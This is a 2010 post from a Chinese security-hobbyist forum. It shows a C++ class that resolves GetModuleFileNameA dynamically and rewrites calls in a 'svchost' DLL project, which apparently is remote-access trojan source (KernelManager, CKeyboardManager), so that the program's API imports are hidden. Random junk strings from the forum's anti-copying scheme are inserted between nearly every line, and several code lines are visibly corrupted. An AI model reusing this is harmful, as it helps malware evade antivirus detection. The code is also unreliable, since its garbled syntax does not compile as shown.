标题:
[原创文章]
全局动态调用
[打印本页]
作者:
ice_xke
时间:
2010-10-19 12:30
标题:
全局动态调用
全局动态调用笔记
% ^* _- S) N- u; ^* e3 z, b1 [6 Y( C
svchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
* P% S4 e" V0 p4 I
----------------------------------------
) R. a: L% m% C" F( |
DTDY.h:
% o" G" P, T1 {4 f5 }9 ?
6 }1 q- K# k! v7 R+ m- z
#if _MSC_VER>1000
+ O% `5 a8 U. R) q* |" q, u$ G
#pragma once
) A! J- e$ H Z3 N
#endif //_MSC_VER>1000
! j, x1 e0 O0 d- a- _/ u8 |
#include<windows.h>
/ t1 e5 h1 V3 l! [% ?
' c% V. x6 e, F. K
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
' A1 B+ l( H/ T" f" |
class DTDY
8 B: T( R7 ?1 r1 @
{
# T- U' a. y) ]
public:
, t: V! T- w% V0 K! Z' D+ K) h
DTDY();
. h. U: S% \$ w
virtual ~DTDY();
7 G+ A7 i- B" \) l, T9 S
public:
' K8 j: Z! I7 j! B0 b
static pGetModuleFileNameA MyGetModuleFileName;
3 t' H6 \1 \( [0 v8 T& Z6 T+ X
static BOOL FunInitiallization();
3 d9 |/ R7 T% v* L
};
5 a8 G% y7 g& T) v3 c( P
#endif
6 s- A3 h6 Z& x5 [' a X
----------------------------------------
7 N% s9 N2 D- f) u4 Y# Z
3 c9 K! j6 D3 E% y) A2 j. S8 j5 s
DTDY.cpp:
% r s& F. \7 L3 M0 P
0 t. ?* f# d7 g4 k
#include "DTDY.h"
& s6 j" S8 g: w) o
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
/ y7 J3 J& @: l) V, M/ B1 F
DTDY:TDY()
2 f" n. z8 W6 J. k4 m% q
{
: |5 |2 @/ p" Z& {" ]7 @9 U" [) i
}
6 ~; U2 V( W0 Y$ d j% ]
DTDY::~DTDY()
% ^. u; ]" p' X
{
\" s& E2 X- i% E0 j* K
}
' H, E8 i4 @ A+ s; p! t& V
BOOL DTDY::FunInitiallization()
; U, z5 F' h# h/ I
{
* Q# ^( y. s. d5 E
HMODULE hModule=LoadLibrary("kernel32.dll");
: c3 ~* _. V% {1 F- Z
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
, X$ }$ S) R( K) p
if(!MyGetModuleFileName=) return FALSE;
$ q$ D* y7 F0 j: v6 I% F; |
: b! K) w+ {# r; c. w* E3 C7 F! z
return TRUE;
' f( f, @2 l& C3 A
}
9 g3 x8 @: H" {# }! s
----------------------------------------
$ |3 f. f2 R4 Y$ f/ s2 m8 a
svchost.cpp:
2 t! g) z- i" p/ E, k; x. H" K
/ q" j3 a* Y8 z( X
#include "DTDY.h"
4 W: X6 @9 U% }7 ]5 ~" A
' l6 ~) Z. r6 p
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
) o8 @% [ h/ G! D
{
$ l2 C2 R9 }$ g! S B+ V
switch(ul_reason_for_call)
% d8 b& l# c/ g; c* y! q/ j
{
$ @9 p3 y6 q7 y1 ]& ?/ J7 f
case DLL_PROCESS_ATTACH:
8 r4 I% k* A( s1 j3 z
if(!DTDY::FunInitiallization()) return FALSE;
6 v b; h/ [) @+ Z3 V
) m9 r) H+ |+ o1 T/ B* J* s! e
break;
. m0 M. R; T1 N1 M( y* Y- ]5 v
}
4 Z8 o% U) O' O5 V- U" a& ?, X
}
" `) y, k3 `) o
* D+ T& R, c# Y- m9 {
7 H# C1 A3 J$ w
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
9 O( |2 t: B' w
改写为
% Q8 ?( g) q* M1 Y- D
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
4 ~9 B- H- F4 Q7 g, m
----------------------------------------
+ R! y* w3 i' A; i. Z' H
KernelManager.cpp:
2 {- d+ O9 F+ S' L4 _4 D
& a3 L9 P' r8 r' V2 j: D& M+ _
#include "../DTDY.h"
7 _9 S) x4 k, @: }, q% e
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
, Q: v1 C! q3 v7 K8 ~; ]
改写为
4 l+ Z' J) Y) v% l
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
3 o1 G" p0 R( k6 ?/ L7 `) O/ u
----------------------------------------
欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/)
Powered by Discuz! 7.2